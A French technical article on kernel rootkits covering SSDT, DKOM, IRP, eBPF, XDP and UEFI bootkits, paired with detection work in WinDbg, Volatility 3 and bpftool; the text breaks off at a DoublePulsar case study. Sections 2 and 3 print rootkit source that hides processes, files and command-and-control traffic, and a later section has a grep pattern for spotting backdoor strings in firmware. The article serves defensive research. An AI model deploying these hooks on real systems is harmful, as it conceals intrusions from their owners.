Expert Kernel Rétro-Ingénierie

Chasse aux Fantômes : Rétro-Ingénierie Dynamique des Rootkits Kernel-Mode dans les Écosystèmes Modernes

Par Ayi NEDJIMI | | Lecture ~45 min

Les rootkits kernel-mode représentent le sommet de la furtivité en matière de menaces informatiques. Opérant au Ring 0, ils subvertissent les mécanismes fondamentaux du système d'exploitation pour dissimuler processus, fichiers, connexions réseau et modifications du registre. Cet article propose une plongée technique exhaustive dans leur architecture, leur détection et leur éradication, à travers des études de cas réelles et des méthodologies reproductibles.

1 Introduction — Du Userland au Ring 0

Les premiers rootkits étaient de simples remplacements de binaires système : un ls trojanisé masquant des fichiers, un ps altéré dissimulant des processus. Ces techniques userland, bien que fonctionnelles dans les années 1990, présentaient une faiblesse fondamentale : elles opéraient au même niveau de privilège que les outils de détection. Un simple contrôle d'intégrité des binaires (via tripwire ou un hash SHA-256) suffisait à les démasquer.

L'évolution vers le kernel-mode a radicalement changé la donne. En opérant au Ring 0 — le niveau de privilège le plus élevé du processeur x86 — un rootkit kernel peut intercepter et manipuler les appels système avant qu'ils n'atteignent les outils de sécurité. L'antivirus, fonctionnant en Ring 3, ne voit que ce que le rootkit veut bien lui montrer.

Cette asymétrie fondamentale entre le niveau de privilège de l'attaquant (Ring 0) et celui du défenseur (Ring 3) constitue le problème central de la détection des rootkits kernel. C'est ce que le chercheur Joanna Rutkowska a formalisé sous le concept de Red Pill : toute détection fiable nécessite un observateur situé à un niveau de privilège égal ou supérieur à celui de la menace.

Architecture des anneaux de protection x86

Ring 3 — Applications utilisateur, Antivirus, EDR Ring 2 — Pilotes (rarement utilisé) Ring 1 — Pilotes (rarement utilisé) Ring 0 Noyau, Rootkits Kernel Ring -1 — Hyperviseur (VMM) Ring -2 — SMM / Firmware UEFI Rootkit

Les rootkits modernes ne se limitent plus au Ring 0. Les bootkits s'installent dans le firmware UEFI (Ring -2), tandis que certains rootkits exploitent le mode hyperviseur (Ring -1) pour créer une couche de virtualisation invisible sous le système d'exploitation. L'écosystème Linux a vu émerger une nouvelle classe de menaces exploitant eBPF, la technologie de traçage noyau devenue un vecteur d'attaque redoutable.

Dans cet article, nous explorons méthodiquement chaque couche de cette hiérarchie, en fournissant du code reproductible, des commandes de débogage concrètes et des stratégies de détection basées sur l'analyse mémoire, le débogage kernel et l'inspection forensique.

Avertissement légal

Les techniques et le code présentés dans cet article sont destinés exclusivement à la recherche en sécurité et à la défense. Toute utilisation malveillante est illégale et passible de poursuites pénales. Travaillez uniquement dans des environnements isolés et autorisés.

2 Architecture des rootkits kernel Windows

Le noyau Windows expose plusieurs surfaces d'attaque que les rootkits exploitent pour installer leurs hooks et manipuler les structures de données internes. Nous détaillons ici les quatre techniques fondamentales : le hooking de la SSDT, le hooking d'IRP, la manipulation directe d'objets kernel (DKOM), et l'installation de filter drivers malveillants.

2.1 SSDT Hooking — Interception de la table des appels système

La System Service Descriptor Table (SSDT) est un tableau de pointeurs de fonctions situé dans nt!KiServiceTable. Chaque entrée correspond à un syscall : NtOpenProcess, NtQuerySystemInformation, NtReadFile, etc. Un rootkit peut remplacer un pointeur pour rediriger l'exécution vers sa propre fonction de filtrage.

Sur les systèmes 32 bits, la SSDT contenait des pointeurs absolus. Sur x64, Microsoft a introduit des offsets relatifs encodés sur 32 bits (décalés de 4 bits) pour économiser de l'espace. Voici le code C d'un hook SSDT classique sur un système 32 bits :

/* ssdt_hook.c - Hook SSDT NtQuerySystemInformation (Ring 0)
 * Objectif : Filtrer les processus de la liste renvoyee par
 * NtQuerySystemInformation(SystemProcessInformation)
 * ATTENTION : Code pedagogique - ne fonctionne pas sur x64 avec PatchGuard
 */

#include <ntddk.h>

/* Prototype original */
typedef NTSTATUS (*PFN_NtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID  SystemInformation,
    ULONG  SystemInformationLength,
    PULONG ReturnLength
);

/* Sauvegarde du pointeur original */
PFN_NtQuerySystemInformation g_OrigNtQuerySystemInformation = NULL;

/* Structure SSDT exportee par ntoskrnl */
typedef struct _SERVICE_DESCRIPTOR_TABLE {
    PULONG  ServiceTable;       /* KiServiceTable */
    PULONG  CounterTable;
    ULONG   NumberOfServices;
    PUCHAR  ArgumentTable;
} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;

extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;

#define SYSCALL_INDEX_NtQuerySystemInformation 0x00AD /* Windows XP SP3 */
#define PROCESS_NAME_TO_HIDE "malware.exe"

/* Desactive le bit WP de CR0 pour ecrire dans la SSDT (read-only) */
void DisableWriteProtection(void)
{
    __asm {
        push eax
        mov  eax, cr0
        and  eax, not 0x10000   /* Clear WP bit */
        mov  cr0, eax
        pop  eax
    }
}

void EnableWriteProtection(void)
{
    __asm {
        push eax
        mov  eax, cr0
        or   eax, 0x10000       /* Set WP bit */
        mov  cr0, eax
        pop  eax
    }
}

/* Hook : filtre les processus dans la reponse */
NTSTATUS HookedNtQuerySystemInformation(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID  SystemInformation,
    ULONG  SystemInformationLength,
    PULONG ReturnLength)
{
    NTSTATUS status;
    PSYSTEM_PROCESS_INFORMATION pCurrent, pPrevious;

    /* Appel original */
    status = g_OrigNtQuerySystemInformation(
        SystemInformationClass, SystemInformation,
        SystemInformationLength, ReturnLength);

    if (!NT_SUCCESS(status) || SystemInformationClass != SystemProcessInformation)
        return status;

    /* Parcourir la liste chainee et retirer les processus cibles */
    pCurrent  = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
    pPrevious = NULL;

    while (pCurrent) {
        if (pCurrent->ImageName.Buffer != NULL) {
            ANSI_STRING ansiName;
            RtlUnicodeStringToAnsiString(&ansiName, &pCurrent->ImageName, TRUE);

            if (strstr(ansiName.Buffer, PROCESS_NAME_TO_HIDE)) {
                /* Unlink du noeud dans la liste chainee */
                if (pPrevious) {
                    if (pCurrent->NextEntryOffset)
                        pPrevious->NextEntryOffset += pCurrent->NextEntryOffset;
                    else
                        pPrevious->NextEntryOffset = 0;
                } else {
                    if (pCurrent->NextEntryOffset) {
                        SystemInformation = (PUCHAR)SystemInformation
                            + pCurrent->NextEntryOffset;
                    }
                }
            }
            RtlFreeAnsiString(&ansiName);
        }
        pPrevious = pCurrent;
        if (pCurrent->NextEntryOffset)
            pCurrent = (PSYSTEM_PROCESS_INFORMATION)
                ((PUCHAR)pCurrent + pCurrent->NextEntryOffset);
        else
            break;
    }
    return status;
}

/* Installation du hook */
NTSTATUS InstallSsdtHook(void)
{
    ULONG idx = SYSCALL_INDEX_NtQuerySystemInformation;

    g_OrigNtQuerySystemInformation = (PFN_NtQuerySystemInformation)
        KeServiceDescriptorTable->ServiceTable[idx];

    DisableWriteProtection();
    KeServiceDescriptorTable->ServiceTable[idx] =
        (ULONG)HookedNtQuerySystemInformation;
    EnableWriteProtection();

    DbgPrint("[Rootkit] SSDT hook installed at index 0x%X\n", idx);
    return STATUS_SUCCESS;
}

Ce code illustre le mécanisme fondamental : la désactivation temporaire du bit WP (Write Protect) du registre CR0 pour écrire dans la page mémoire en lecture seule de la SSDT, suivie du remplacement du pointeur. La fonction hookée appelle l'originale, puis filtre les résultats pour retirer les processus ciblés de la liste chaînée SYSTEM_PROCESS_INFORMATION.

2.2 DKOM — Direct Kernel Object Manipulation

La technique DKOM est plus élégante que le hooking car elle ne modifie aucun code exécutable — elle manipule directement les structures de données du noyau. Chaque processus Windows est représenté par une structure _EPROCESS, et tous les processus actifs sont reliés par une liste doublement chaînée via le champ ActiveProcessLinks.

Pour dissimuler un processus, un rootkit DKOM détache simplement le nœud _EPROCESS cible de cette liste :

/* dkom_hide_process.c - Dissimulation par manipulation EPROCESS
 * Technique : Unlink du doubly-linked list ActiveProcessLinks
 */

#include <ntddk.h>

/* Offset ActiveProcessLinks dans _EPROCESS
 * Varie selon la version Windows - ici Windows 10 21H2 */
#define ACTIVEPROCESSLINKS_OFFSET 0x448
#define IMAGEFILENAME_OFFSET      0x5A8

NTSTATUS HideProcessByName(const char* processName)
{
    PEPROCESS currentProcess = PsGetCurrentProcess();
    PEPROCESS targetProcess  = currentProcess;
    PLIST_ENTRY listHead, listEntry;
    char* imageName;

    /* Parcourir la liste des processus */
    listHead = (PLIST_ENTRY)((PUCHAR)currentProcess
                + ACTIVEPROCESSLINKS_OFFSET);
    listEntry = listHead->Flink;

    while (listEntry != listHead) {
        targetProcess = (PEPROCESS)((PUCHAR)listEntry
                        - ACTIVEPROCESSLINKS_OFFSET);
        imageName = (char*)((PUCHAR)targetProcess
                    + IMAGEFILENAME_OFFSET);

        if (_strnicmp(imageName, processName, strlen(processName)) == 0) {
            /* Unlink : retirer de la liste doublement chainee */
            PLIST_ENTRY prevEntry = listEntry->Blink;
            PLIST_ENTRY nextEntry = listEntry->Flink;

            prevEntry->Flink = nextEntry;
            nextEntry->Blink = prevEntry;

            /* Pointer vers soi-meme pour eviter BSOD
             * si le scheduler traverse cette structure */
            listEntry->Flink = listEntry;
            listEntry->Blink = listEntry;

            DbgPrint("[DKOM] Process '%s' unlinked from ActiveProcessLinks\n",
                     imageName);
            return STATUS_SUCCESS;
        }
        listEntry = listEntry->Flink;
    }
    return STATUS_NOT_FOUND;
}

L'astuce cruciale est de faire pointer les champs Flink et Blink du nœud retiré vers lui-même. Sans cette précaution, le scheduler kernel pourrait tenter de traverser un pointeur invalide et provoquer un BSOD (Blue Screen of Death). Le processus reste fonctionnel car le scheduler utilise une structure séparée (KiDispatcherReadyListHead) pour l'ordonnancement — la liste ActiveProcessLinks sert principalement aux énumérations via NtQuerySystemInformation.

2.3 IRP Hooking et Filter Drivers

Le modèle de pilotes Windows (WDM/WDF) repose sur les I/O Request Packets (IRP). Chaque pilote expose une table de fonctions MajorFunction dans son DRIVER_OBJECT. Un rootkit peut remplacer les handlers IRP d'un pilote de système de fichiers (ex: \FileSystem\NTFS) pour filtrer les résultats des opérations d'entrée/sortie :

/* irp_hook.c - Hook du handler IRP_MJ_DIRECTORY_CONTROL
 * Cible : pilote NTFS pour masquer des fichiers dans les listings
 */

#include <ntddk.h>

PDRIVER_DISPATCH g_OrigDirectoryControl = NULL;
PDRIVER_OBJECT   g_NtfsDriverObject     = NULL;

NTSTATUS HookedDirectoryControl(PDEVICE_OBJECT DevObj, PIRP Irp)
{
    NTSTATUS status;
    PIO_STACK_LOCATION ioStack;

    /* Appeler le handler original */
    status = g_OrigDirectoryControl(DevObj, Irp);
    if (!NT_SUCCESS(status))
        return status;

    ioStack = IoGetCurrentIrpStackLocation(Irp);

    /* Filtrer IRP_MN_QUERY_DIRECTORY pour masquer des fichiers */
    if (ioStack->MinorFunction == IRP_MN_QUERY_DIRECTORY) {
        /* Parcourir le buffer de resultats et
         * retirer les entrees correspondant aux fichiers cibles
         * (logique similaire au filtrage DKOM) */
    }
    return status;
}

NTSTATUS HookNtfsDriver(void)
{
    UNICODE_STRING driverName;
    NTSTATUS status;

    RtlInitUnicodeString(&driverName, L"\\FileSystem\\Ntfs");
    status = ObReferenceObjectByName(&driverName,
        OBJ_CASE_INSENSITIVE, NULL, 0,
        *IoDriverObjectType, KernelMode,
        NULL, (PVOID*)&g_NtfsDriverObject);

    if (!NT_SUCCESS(status))
        return status;

    /* Sauvegarder et remplacer le handler */
    g_OrigDirectoryControl =
        g_NtfsDriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL];
    g_NtfsDriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL] =
        HookedDirectoryControl;

    ObDereferenceObject(g_NtfsDriverObject);
    return STATUS_SUCCESS;
}

Les filter drivers malveillants utilisent une approche encore plus subtile : plutôt que de modifier un pilote existant, ils s'insèrent dans la pile de pilotes (device stack) via IoAttachDeviceToDeviceStack. Cela leur permet d'intercepter tous les IRP transitant vers le pilote cible sans modifier aucun pointeur dans le DRIVER_OBJECT original — rendant la détection par comparaison de pointeurs inefficace.

3 Rootkits eBPF/Linux modernes

eBPF (extended Berkeley Packet Filter) est devenu l'une des technologies les plus puissantes du noyau Linux. Initialement conçue pour le filtrage réseau haute performance, eBPF permet désormais d'exécuter du code arbitraire (vérifié) dans le noyau, attaché à des points de trace (kprobes, tracepoints, LSM hooks, XDP). Cette flexibilité en fait un vecteur d'attaque idéal pour les rootkits modernes.

3.1 BPFDoor — Le rootkit qui a compromis des télécoms

Découvert en 2022, BPFDoor est un rootkit utilisé par le groupe APT Red Menshen pour compromettre des opérateurs télécoms. Il utilise un filtre BPF classique (pas eBPF) attaché à un raw socket pour détecter des paquets magiques qui déclenchent un reverse shell. Sa force : il ne bind aucun port et n'apparaît pas dans netstat.

3.2 Programmes eBPF malveillants

Un programme eBPF malveillant peut s'attacher à des kprobes pour intercepter les appels système et modifier les données retournées en espace utilisateur. Voici un exemple de programme eBPF utilisant bpf_probe_write_user pour modifier la sortie de getdents64 et masquer des fichiers :

/* ebpf_hide_files.c - Programme eBPF pour masquer des fichiers
 * S'attache a la kretprobe de __x64_sys_getdents64
 * Compile avec : clang -O2 -target bpf -c ebpf_hide_files.c -o hide.o
 */

#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>

#define TARGET_FILENAME "rootkit_payload"
#define MAX_ENTRIES 128

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 1024);
    __type(key, u32);       /* pid_tgid */
    __type(value, u64);     /* buffer userspace ptr */
} getdents_args SEC(".maps");

/* Capturer les arguments a l'entree du syscall */
SEC("kprobe/__x64_sys_getdents64")
int kprobe_getdents64(struct pt_regs *ctx)
{
    u32 pid = bpf_get_current_pid_tgid() >> 32;
    struct linux_dirent64 __user *dirp;

    /* Second argument = buffer userspace */
    dirp = (void *)PT_REGS_PARM2(ctx);
    u64 addr = (u64)dirp;
    bpf_map_update_elem(&getdents_args, &pid, &addr, BPF_ANY);
    return 0;
}

/* A la sortie, modifier le buffer retourne */
SEC("kretprobe/__x64_sys_getdents64")
int kretprobe_getdents64(struct pt_regs *ctx)
{
    u32 pid = bpf_get_current_pid_tgid() >> 32;
    u64 *buf_ptr;
    long ret = PT_REGS_RC(ctx);

    buf_ptr = bpf_map_lookup_elem(&getdents_args, &pid);
    if (!buf_ptr || ret <= 0)
        return 0;

    /* Parcourir les entrees du buffer userspace
     * et utiliser bpf_probe_write_user pour ecraser
     * les entrees correspondant au fichier cible
     * avec l'entree suivante (decalage) */

    /* Note: bpf_probe_write_user est restreint et
     * genere un avertissement dans dmesg.
     * Les rootkits avances utilisent d'autres techniques. */

    bpf_map_delete_elem(&getdents_args, &pid);
    return 0;
}

char LICENSE[] SEC("license") = "GPL";

3.3 XDP pour le filtrage réseau malveillant

Le sous-système XDP (eXpress Data Path) permet de traiter les paquets réseau au plus tôt dans la pile, directement dans le driver NIC. Un rootkit peut utiliser XDP pour masquer son trafic C2 (Command and Control) avant même que tcpdump ou Wireshark ne le voient :

/* xdp_c2_filter.c - Programme XDP pour masquer le trafic C2
 * Filtre les paquets vers/depuis le serveur C2 avant capture
 */

#include "vmlinux.h"
#include <bpf/bpf_helpers.h>

#define C2_SERVER_IP  0xC0A80142  /* 192.168.1.66 en network byte order */
#define C2_PORT       443
#define ETH_P_IP      0x0800

SEC("xdp")
int xdp_c2_hide(struct xdp_md *ctx)
{
    void *data     = (void *)(long)ctx->data;
    void *data_end = (void *)(long)ctx->data_end;

    struct ethhdr *eth = data;
    if ((void *)(eth + 1) > data_end)
        return XDP_PASS;

    if (eth->h_proto != __constant_htons(ETH_P_IP))
        return XDP_PASS;

    struct iphdr *ip = (void *)(eth + 1);
    if ((void *)(ip + 1) > data_end)
        return XDP_PASS;

    /* Masquer le trafic C2 entrant : DROP silencieux
     * Le paquet disparait avant d'atteindre tcpdump */
    if (ip->saddr == __constant_htonl(C2_SERVER_IP)) {
        /* Rediriger vers un socket BPF au lieu de DROP
         * pour traitement par le rootkit userspace */
        return XDP_PASS; /* En production: XDP_REDIRECT */
    }

    return XDP_PASS;
}

char LICENSE[] SEC("license") = "GPL";

3.4 Détection avec bpftool

L'utilitaire bpftool est l'outil principal pour énumérer les programmes eBPF chargés dans le noyau :

# Lister tous les programmes eBPF charges
sudo bpftool prog list

# Sortie typique d'un systeme compromis :
# 42: kprobe  name kprobe_getden  tag a1b2c3d4e5f6a7b8
#     loaded_at 2026-02-01T03:14:00+0000  uid 0
#     xlated 512B  jited 348B  memlock 4096B
#     pids suspicious_proc(1337)

# Inspecter un programme suspect
sudo bpftool prog dump xlated id 42

# Lister les maps BPF (communication kernel<->userspace)
sudo bpftool map list

# Voir les attachements aux kprobes
sudo bpftool perf list

# Detecter les programmes attaches a des points sensibles
sudo bpftool prog list | grep -E "kprobe|kretprobe|tracepoint|lsm"

# Verifier les programmes XDP attaches aux interfaces
for iface in $(ls /sys/class/net/); do
    prog=$(sudo bpftool net show dev $iface 2>/dev/null | grep xdp)
    if [ -n "$prog" ]; then
        echo "[ALERTE] Programme XDP detecte sur $iface : $prog"
    fi
done

Point clé

Les rootkits eBPF les plus sophistiqués désactivent bpftool en hookant les syscalls bpf() eux-mêmes. La détection fiable nécessite une acquisition mémoire externe et l'analyse des structures BPF directement dans le dump.

4 Bootkits UEFI — Persistance sous le système

Les bootkits UEFI représentent la menace la plus persistante : ils survivent au reformatage du disque, à la réinstallation de l'OS et même au remplacement du disque dur (si implantés dans la flash SPI). Ils s'exécutent avant le noyau, en tant que drivers DXE (Driver Execution Environment) ou applications EFI.

4.1 Taxonomie des bootkits UEFI connus

ESPecter (2021) : découvert par ESET, ce bootkit modifie le Windows Boot Manager (bootmgfw.efi) stocké dans la partition EFI System (ESP). Il désactive le Driver Signature Enforcement pour charger un driver kernel non signé qui sert de rootkit. Remarquable car il fonctionne en contournant le Secure Boot en mode Legacy.

BlackLotus (2023) : premier bootkit in-the-wild capable de contourner le Secure Boot UEFI même sur des systèmes Windows 11 entièrement patchs. Il exploite la vulnérabilité CVE-2022-21894 (Baton Drop) pour exécuter du code non signé pendant le boot. Sa chaîne d'infection installe un driver DXE malveillant dans l'ESP, désactive BitLocker, HVCI et Windows Defender.

CosmicStrand (2022) : découvert par Kaspersky, implanté dans le firmware UEFI de cartes mères Gigabyte et ASUS. Il modifie le driver DXE du chipset pour injecter du code dans le noyau Windows pendant le boot. Sa persistance est maximale : il réside dans la flash SPI, sous le contrôle de l'OS.

Chaîne de boot UEFI et points d'injection des bootkits

SEC Init CPU PEI Init Mémoire DXE Drivers UEFI BDS Boot Mgr OS Loader winload.efi NT Kernel ntoskrnl.exe CosmicStrand BlackLotus / ESPecter FinSpy bootkit Flash SPI / Firmware Ring -2 (SMM) ESP Partition (disque)

4.2 Analyse avec UEFITool

L'outil UEFITool permet d'extraire et d'analyser les composants du firmware UEFI. Voici la procédure pour détecter un driver DXE malveillant :

# Dumper le firmware UEFI depuis Linux
# Necessite les droits root et le module spi
sudo flashrom -p internal -r firmware_dump.bin

# Ouvrir avec UEFITool NE (New Engine)
# 1. Charger firmware_dump.bin
# 2. Rechercher les GUID inconnus dans la section DXE
# 3. Extraire les drivers DXE suspects

# Extraction en ligne de commande avec UEFIExtract
./UEFIExtract firmware_dump.bin all

# Rechercher des patterns suspects dans les DXE extraits
find firmware_dump.bin.dump -name "*.efi" | while read f; do
    # Verifier les strings suspectes
    strings "$f" | grep -iE "(backdoor|shell|inject|hook)" && \
        echo "[SUSPECT] $f"
done

# Calculer les hash des DXE et comparer avec une baseline
find firmware_dump.bin.dump -name "*.efi" -exec sha256sum {} \; \
    | sort > current_dxe_hashes.txt
diff known_good_dxe_hashes.txt current_dxe_hashes.txt

Pour une analyse plus approfondie, le driver DXE extrait peut être désassemblé avec Ghidra en utilisant le module processeur UEFI. Les points d'attention sont les appels aux protocoles EFI gBS->CreateEvent et gBS->RegisterProtocolNotify, qui permettent au bootkit de s'accrocher au processus de boot et de modifier le noyau en mémoire avant son exécution.

5 Débogage kernel avec WinDbg

Le débogage kernel est l'arme la plus puissante pour l'analyse des rootkits sur Windows. Contrairement à l'analyse mémoire post-mortem, il permet d'observer le rootkit en temps réel, de poser des breakpoints matériels, et de suivre l'exécution instruction par instruction.

5.1 Configuration du lab de débogage

La configuration idéale utilise deux VM : une VM debuggee (la cible infectée) et une VM debugger (hôte WinDbg), connectées via un pipe série virtuel ou le réseau (kdnet) :

# Sur la VM debuggee (admin) - Activer le debogage kernel via reseau
bcdedit /debug on
bcdedit /dbgsettings net hostip:192.168.56.1 port:50000

# Resultat : Key=1a2b3c4d5e6f.7a8b9c0d1e2f.3a4b5c6d7e8f.9a0b1c2d3e4f
# Cette cle est necessaire pour connecter WinDbg

# Alternative : debogage serie via named pipe (VMware/VirtualBox)
bcdedit /dbgsettings serial debugport:1 baudrate:115200

# Sur la VM debugger - Lancer WinDbg Preview
# File > Attach to kernel > Net
# Port: 50000, Key: [cle obtenue ci-dessus]

# Configurer les symboles Microsoft
# Dans WinDbg : .symfix+ C:\Symbols
#               .reload

5.2 Commandes essentielles pour la chasse aux rootkits

# === INSPECTION DES PROCESSUS ===

# Lister tous les processus via la structure EPROCESS
!process 0 0

# Afficher les details d'un processus specifique
!process 0 7 lsass.exe

# Examiner la structure _EPROCESS d'un processus
dt nt!_EPROCESS fffffa80`12345678

# Afficher ActiveProcessLinks pour detecter DKOM
dt nt!_EPROCESS fffffa80`12345678 ActiveProcessLinks

# Parcourir la liste chainee des processus
!list -t nt!_EPROCESS.ActiveProcessLinks.Flink \
      -x "dt nt!_EPROCESS @$extret ImageFileName" \
      -a "poi(nt!PsActiveProcessHead)"

# === DETECTION SSDT HOOKING ===

# Afficher la SSDT (System Service Descriptor Table)
dps nt!KiServiceTable L poi(nt!KiServiceLimit)

# Verifier que tous les pointeurs SSDT sont dans ntoskrnl
# Si un pointeur pointe hors de nt!*, c'est un hook
!chkimg nt -d

# Script WinDbg pour detecter les hooks SSDT
.foreach /ps 1 /pS 1 (addr { dps nt!KiServiceTable L poi(nt!KiServiceLimit) }) {
    r @$t0 = ${addr};
    .if (@$t0 < poi(nt!MmSystemRangeStart)) {
        .printf "HOOK DETECTED at %p\n", @$t0
    }
}

# === INSPECTION DES OBJETS ===

# Examiner un objet kernel par handle
!object \Device\Harddisk0\DR0

# Lister tous les drivers charges
lm t n

# Examiner la table MajorFunction d'un driver (detection IRP hook)
!drvobj \Driver\Ntfs 7

# === DETECTION DE CALLBACKS MALVEILLANTS ===

# Lister les callbacks de notification de processus
!callback
dx Debugger.Utility.Collections.FromListEntry(
    *(nt!_LIST_ENTRY*)&nt!PspCreateProcessNotifyRoutine,
    "nt!_EX_CALLBACK_ROUTINE_BLOCK", "ListEntry")

5.3 Script WinDbg avancé de détection

Voici un script WinDbg complet qui automatise la détection des hooks SSDT et des modifications DKOM :

/* WinDbg JavaScript - rootkit_scan.js
 * Usage: .scriptrun rootkit_scan.js
 * Detecte : hooks SSDT, DKOM, callbacks suspects
 */

"use strict";

function initializeScript() {
    return [
        new host.apiVersionSupport(1, 7)
    ];
}

function detectSsdtHooks() {
    var ctl = host.namespace.Debugger.Utility.Control;
    var kiServiceTable = host.getModuleSymbolAddress("nt", "KiServiceTable");
    var kiServiceLimit = host.memory.readMemoryValues(
        host.getModuleSymbolAddress("nt", "KiServiceLimit"), 1, 4)[0];

    host.diagnostics.debugLog("[*] Scanning SSDT (" + kiServiceLimit
        + " entries)...\n");

    var ntBase = host.getModuleSymbolAddress("nt", "");
    var ntEnd  = ntBase + 0x1000000; /* Approximation */

    for (var i = 0; i < kiServiceLimit; i++) {
        var entry = host.memory.readMemoryValues(
            kiServiceTable.add(i * 4), 1, 4)[0];
        /* x64: offset relatif encode sur 32 bits, decale de 4 */
        var target = kiServiceTable.add((entry >> 4));

        if (target.compareTo(ntBase) < 0 || target.compareTo(ntEnd) > 0) {
            host.diagnostics.debugLog(
                "[!] SSDT HOOK index " + i + " -> " + target + "\n");
        }
    }
    host.diagnostics.debugLog("[*] SSDT scan complete.\n");
}

function detectHiddenProcesses() {
    var ctl = host.namespace.Debugger.Utility.Control;
    host.diagnostics.debugLog("[*] Cross-referencing process lists...\n");

    /* Comparer ActiveProcessLinks avec PspCidTable
     * Un processus dans PspCidTable mais pas dans
     * ActiveProcessLinks indique un DKOM */
    var output = ctl.ExecuteCommand("!process 0 0");
    var processCount = 0;
    for (var line of output) {
        if (line.toString().indexOf("PROCESS") !== -1)
            processCount++;
    }
    host.diagnostics.debugLog("[*] Found " + processCount
        + " processes in ActiveProcessLinks.\n");
    host.diagnostics.debugLog("[*] Compare with !object \\KernelObjects"
        + "\\SessionIdTable for discrepancies.\n");
}

function invokeScript() {
    detectSsdtHooks();
    detectHiddenProcesses();
}

6 Analyse mémoire avec Volatility 3

L'analyse mémoire forensique est la technique de détection la plus fiable contre les rootkits kernel. En capturant un dump complet de la RAM, l'analyste travaille sur une image statique, hors de portée des hooks du rootkit. Volatility 3 (Python 3) est le framework de référence pour cette tâche.

6.1 Acquisition mémoire

# === WINDOWS : Acquisition avec WinPmem ===
# Telecharger WinPmem depuis https://github.com/Velocidex/WinPmem
winpmem_mini_x64.exe --output C:\forensics\memory.raw --format raw

# Alternative : DumpIt (Comae) - un seul clic
DumpIt.exe /OUTPUT C:\forensics\memory.dmp

# === LINUX : Acquisition avec LiME ===
# Compiler le module LiME pour le kernel exact de la cible
git clone https://github.com/504ensicSLabs/LiME
cd LiME/src
make
# Charger et dumper en format lime
sudo insmod lime-$(uname -r).ko "path=/tmp/memory.lime format=lime"

# Pour une acquisition a distance via netcat
sudo insmod lime-$(uname -r).ko "path=tcp:4444 format=lime"
# Sur l'analyste : nc target_ip 4444 > memory.lime

6.2 Plugins essentiels pour la détection de rootkits

# === DETECTION DE PROCESSUS CACHES (DKOM) ===

# Liste des processus via ActiveProcessLinks (vue du rootkit)
python3 -m volatility3 -f memory.raw windows.pslist.PsList

# Scan exhaustif par signatures EPROCESS dans toute la memoire
# Detecte les processus unlinked par DKOM
python3 -m volatility3 -f memory.raw windows.psscan.PsScan

# Comparer pslist et psscan : les processus presents dans
# psscan mais absents de pslist sont probablement dissimules

# === DETECTION HOOKS SSDT ===
python3 -m volatility3 -f memory.raw windows.ssdt.SSDT

# === MODULES KERNEL SUSPECTS ===
# Lister les modules charges
python3 -m volatility3 -f memory.raw windows.modules.Modules

# Detecter les modules non lies (rootkit decharge)
python3 -m volatility3 -f memory.raw windows.modscan.ModScan

# === INJECTION DE CODE ===
# Detecter les regions memoire suspectes (RWX, PE injecte)
python3 -m volatility3 -f memory.raw windows.malfind.Malfind

# === CALLBACKS KERNEL ===
# Enumerer les callbacks de notification
python3 -m volatility3 -f memory.raw windows.callbacks.Callbacks

# === LINUX : DETECTION ROOTKITS ===
# Modules kernel charges
python3 -m volatility3 -f memory.lime linux.lsmod.Lsmod

# Verifier la table des syscalls
python3 -m volatility3 -f memory.lime linux.check_syscall.Check_syscall

# Detecter les modules caches
python3 -m volatility3 -f memory.lime linux.hidden_modules.Hidden_modules

6.3 Plugin Volatility 3 personnalisé

Voici un plugin custom pour détecter les hooks SSDT en comparant les adresses avec les limites des modules légitimes :

"""
Plugin Volatility 3 : detect_ssdt_hooks.py
Detecte les hooks dans la SSDT en verifiant que chaque entree
pointe bien dans l'espace memoire de ntoskrnl.exe
"""

import logging
from typing import List, Tuple
from volatility3.framework import interfaces, renderers
from volatility3.framework.configuration import requirements
from volatility3.plugins.windows import ssdt, modules

log = logging.getLogger(__name__)

class DetectSSDTHooks(interfaces.plugins.PluginInterface):
    """Detecte les hooks SSDT par comparaison avec les modules legitimes."""

    _required_framework_version = (2, 0, 0)

    @classmethod
    def get_requirements(cls) -> List[interfaces.configuration.RequirementInterface]:
        return [
            requirements.TranslationLayerRequirement(
                name="primary", description="Memory layer"),
            requirements.SymbolTableRequirement(
                name="nt_symbols", description="Windows kernel symbols"),
        ]

    def _generator(self):
        kernel = self.context.modules[self.config["kernel"]]

        # Construire la map des modules charges
        module_map = {}
        for mod in modules.Modules.list_modules(
            self.context, kernel.layer_name, kernel.symbol_table_name
        ):
            base = mod.DllBase
            size = mod.SizeOfImage
            name = mod.BaseDllName.get_string()
            module_map[(base, base + size)] = name

        # Parcourir la SSDT
        for idx, addr in ssdt.SSDT.list_ssdt(
            self.context, kernel.layer_name, kernel.symbol_table_name
        ):
            owner = "UNKNOWN (HOOKED)"
            for (base, end), name in module_map.items():
                if base <= addr < end:
                    owner = name
                    break

            if owner == "UNKNOWN (HOOKED)":
                yield (0, (idx, format(addr, "#018x"), owner))

    def run(self):
        return renderers.TreeGrid(
            [
                ("SSDT Index", int),
                ("Address", str),
                ("Owner", str),
            ],
            self._generator(),
        )

7 Étude de cas — Equation Group DoublePulsar

DoublePulsar est un backdoor kernel développé par l'Equation Group (attribué à la NSA) et divulgué par les Shadow Brokers en avril 2017. Son intérêt technique est considérable : il s'installe entièrement en mémoire, sans écrire de fichier sur disque, en patchant la table de dispatch SMB de srv.sys.

7.1 Mécanisme d'infection SMB

DoublePulsar est déployé via l'exploit EternalBlue (MS17-010), qui exploite une vulnérabilité dans le traitement des transactions SMBv1. Après exploitation réussie, le shellcode installe DoublePulsar en modifiant la routine de dispatch SrvTransaction2DispatchTable dans le driver srv.sys. Plus précisément, l'entrée SESSION_SETUP (index 0x0E) est remplacée par un pointeur vers le code du backdoor.

Ce hook permet à DoublePulsar de recevoir des commandes via des paquets SMB spécialement formatés, tout en laissant le trafic SMB légitime transiter normalement. L'architecture est brillamment simple : le backdoor n'ouvre aucun port supplémentaire, ne crée aucun processus, et n'écrit rien sur le disque.

Architecture DoublePulsar dans srv.sys

